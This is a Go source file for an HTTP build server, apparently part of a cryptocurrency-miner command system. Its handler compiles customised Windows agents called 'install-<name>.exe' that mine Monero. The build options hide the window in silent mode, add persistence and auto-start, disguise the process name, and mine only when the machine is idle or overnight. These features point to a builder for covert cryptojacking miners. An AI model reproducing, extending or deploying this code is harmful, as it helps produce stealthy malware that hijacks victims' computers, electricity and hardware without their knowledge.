package builder import ( "encoding/json" "fmt" "io" "log" "net/http" "os" "os/exec" "path/filepath" "strings" "time" "github.com/go-chi/chi/v5" "github.com/google/uuid" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" ) type BuildRequest struct { WorkerName string `json:"worker_name"` ServerURL string `json:"server_url"` Wallet string `json:"wallet"` Threads int `json:"threads"` ThreadMode string `json:"thread_mode"` ThreadPercent int `json:"thread_percent"` CPUPriority string `json:"cpu_priority"` MiningMode string `json:"mining_mode"` DisplayMode string `json:"display_mode"` SilentMode bool `json:"silent_mode"` RunAs string `json:"run_as"` AutoStart bool `json:"auto_start"` Persistence bool `json:"persistence"` ProcessName string `json:"process_name"` MaxCPUUsagePct int `json:"max_cpu_usage_pct"` MaxMemoryPct int `json:"max_memory_percent"` MinFreeRAMMB int `json:"min_free_ram_mb"` IdleThresholdPct int `json:"idle_threshold_pct"` IdleDurationMinutes int `json:"idle_duration_minutes"` ScheduleStart string `json:"schedule_start"` ScheduleEnd string `json:"schedule_end"` PoolHost string `json:"pool_host"` PoolPort int `json:"pool_port"` PoolTLS bool `json:"pool_tls"` PoolPass string `json:"pool_pass"` } type BuildResponse struct { Success bool `json:"success"` BuildID string `json:"build_id,omitempty"` FileName string `json:"file_name,omitempty"` FilePath string `json:"file_path,omitempty"` RelativePath string `json:"relative_path,omitempty"` FileSize int64 `json:"file_size,omitempty"` DownloadURL string `json:"download_url,omitempty"` Error string `json:"error,omitempty"` } type Handler struct { db *db.Database dataDir string agentSrcDir string projectRoot string goBinPath string } func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler { goBin := "go" if _, err := exec.LookPath("go"); err == nil { goBin = "go" } return &Handler{ db: database, dataDir: dataDir, agentSrcDir: agentSrcDir, projectRoot: projectRoot, goBinPath: goBin, } } func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) return } var req BuildRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"}) return } if err := h.normalizeRequest(&req); err != nil { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()}) return } resp, status, outputPath := h.buildAgent(&req) if !resp.Success { writeJSON(w, status, resp) return } if r.URL.Query().Get("download") == "1" { w.Header().Set("Content-Type", "application/octet-stream") w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName)) http.ServeFile(w, r, outputPath) return } writeJSON(w, http.StatusOK, resp) } func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) { buildID := chi.URLParam(r, "id") build, err := h.db.GetBuild(buildID) if err != nil { http.Error(w, "Build not found", http.StatusNotFound) return } if _, err := os.Stat(build.FilePath); err != nil { http.Error(w, "Build file missing", http.StatusNotFound) return } w.Header().Set("Content-Type", "application/octet-stream") w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(build.FilePath))) http.ServeFile(w, r, build.FilePath) } func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) { buildID := uuid.New().String() buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID)) agentDir := filepath.Join(buildDir, "agent") if err := os.MkdirAll(agentDir, 0755); err != nil { return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, "" } if err := h.copyAgentSource(agentDir); err != nil { log.Printf("Failed to copy agent source: %v", err) return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, "" } configDir := filepath.Join(agentDir, "config") if err := os.MkdirAll(configDir, 0755); err != nil { return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, "" } if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil { return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, "" } outputName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName)) outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName)) ldflags := "-s -w" if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode { ldflags += " -H windowsgui" } cmd := exec.Command(h.goBinPath, "build", "-ldflags", ldflags, "-o", outputPath, ".") cmd.Dir = agentDir cmd.Env = append(os.Environ(), "GOOS=windows", "GOARCH=amd64", "CGO_ENABLED=0", ) output, err := cmd.CombinedOutput() if err != nil { log.Printf("Build failed: %v\nOutput: %s", err, string(output)) return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, "" } fileInfo, err := os.Stat(outputPath) if err != nil { return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, "" } absPath, _ := filepath.Abs(outputPath) relPath, _ := filepath.Rel(h.projectRoot, absPath) if relPath == "" || strings.HasPrefix(relPath, "..") { relPath = filepath.Join(h.dataDir, "builds", buildID, outputName) } buildRecord := &models.BuildRecord{ ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet, Threads: req.Threads, FileSize: fileInfo.Size(), FilePath: absPath, CreatedAt: time.Now(), PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass, } if err := h.db.InsertBuild(buildRecord); err != nil { log.Printf("Failed to record build: %v", err) } return BuildResponse{ Success: true, BuildID: buildID, FileName: outputName, FilePath: absPath, RelativePath: relPath, FileSize: fileInfo.Size(), DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID), }, http.StatusOK, outputPath } func (h *Handler) normalizeRequest(req *BuildRequest) error { if req.WorkerName == "" { return fmt.Errorf("worker_name is required") } if req.ServerURL == "" { return fmt.Errorf("server_url is required") } if req.Wallet == "" { return fmt.Errorf("wallet is required") } if req.Threads <= 0 { req.Threads = 4 } if req.ThreadMode == "" { req.ThreadMode = "percent" } if req.ThreadPercent <= 0 { req.ThreadPercent = 75 } if req.ThreadPercent > 100 { req.ThreadPercent = 100 } if req.DisplayMode == "" { if req.SilentMode { req.DisplayMode = "silent" } else { req.DisplayMode = "background" } } if req.Persistence { req.AutoStart = true } if req.ProcessName == "" { req.ProcessName = sanitizeFileName(req.WorkerName) } if req.MaxMemoryPct <= 0 { req.MaxMemoryPct = 70 } if req.CPUPriority == "" { req.CPUPriority = "below_normal" } if req.MiningMode == "" { req.MiningMode = "always" } if req.RunAs == "" { req.RunAs = "user" } if req.MaxCPUUsagePct <= 0 { req.MaxCPUUsagePct = 80 } if req.MinFreeRAMMB <= 0 { req.MinFreeRAMMB = 1024 } if req.IdleThresholdPct <= 0 { req.IdleThresholdPct = 20 } if req.IdleDurationMinutes <= 0 { req.IdleDurationMinutes = 5 } if req.ScheduleStart == "" { req.ScheduleStart = "21:00" } if req.ScheduleEnd == "" { req.ScheduleEnd = "06:00" } if req.PoolHost == "" { req.PoolHost = "pool.supportxmr.com" } if req.PoolPort <= 0 { req.PoolPort = 3333 } if req.PoolPass == "" { req.PoolPass = "x" } return nil } func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string { return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT // Build ID: %s // Generated at: %s package config import "time" func GetBuiltinConfig() BuiltinConfig { return BuiltinConfig{ WorkerName: %q, ServerURL: %q, Wallet: %q, Threads: %d, ThreadMode: %q, ThreadPercent: %d, CPUPriority: %q, MiningMode: %q, DisplayMode: %q, SilentMode: %v, RunAs: %q, AutoStart: %v, ProcessName: %q, BuildID: %q, BuiltAt: time.Unix(%d, 0), PoolHost: %q, PoolPort: %d, PoolTLS: %v, PoolPass: %q, MaxCPUUsage: %d, MaxMemoryPct: %d, MinFreeRAM: %d, IdleThresholdPct: %d, IdleDurationMinutes: %d, ScheduleStart: %q, ScheduleEnd: %q, } } `, buildID, time.Now().UTC().Format(time.RFC3339), req.WorkerName, req.ServerURL, req.Wallet, req.Threads, req.ThreadMode, req.ThreadPercent, req.CPUPriority, req.MiningMode, req.DisplayMode, req.SilentMode, req.RunAs, req.AutoStart, req.ProcessName, buildID, time.Now().Unix(), req.PoolHost, req.PoolPort, req.PoolTLS, req.PoolPass, req.MaxCPUUsagePct, req.MaxMemoryPct, req.MinFreeRAMMB, req.IdleThresholdPct, req.IdleDurationMinutes, req.ScheduleStart, req.ScheduleEnd, ) } func (h *Handler) copyAgentSource(destDir string) error { srcDir := h.agentSrcDir return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error { if err != nil { return err } relPath, err := filepath.Rel(srcDir, path) if err != nil { return err } if relPath == "config"+string(os.PathSeparator)+"builtin.go" { return nil } destPath := filepath.Join(destDir, relPath) if info.IsDir() { return os.MkdirAll(destPath, 0755) } if info.Mode()&os.ModeSymlink != 0 { return nil } ext := filepath.Ext(path) base := filepath.Base(path) if ext != ".go" && base != "go.mod" && base != "go.sum" { return nil } return copyFile(path, destPath) }) } func copyFile(src, dest string) error { in, err := os.Open(src) if err != nil { return err } defer in.Close() if err := os.MkdirAll(filepath.Dir(dest), 0755); err != nil { return err } out, err := os.Create(dest) if err != nil { return err } defer out.Close() _, err = io.Copy(out, in) return err } func sanitizeFileName(name string) string { replacer := strings.NewReplacer( " ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "", ) return replacer.Replace(name) } func writeJSON(w http.ResponseWriter, status int, v interface{}) { w.Header().Set("Content-Type", "application/json") w.WriteHeader(status) json.NewEncoder(w).Encode(v) }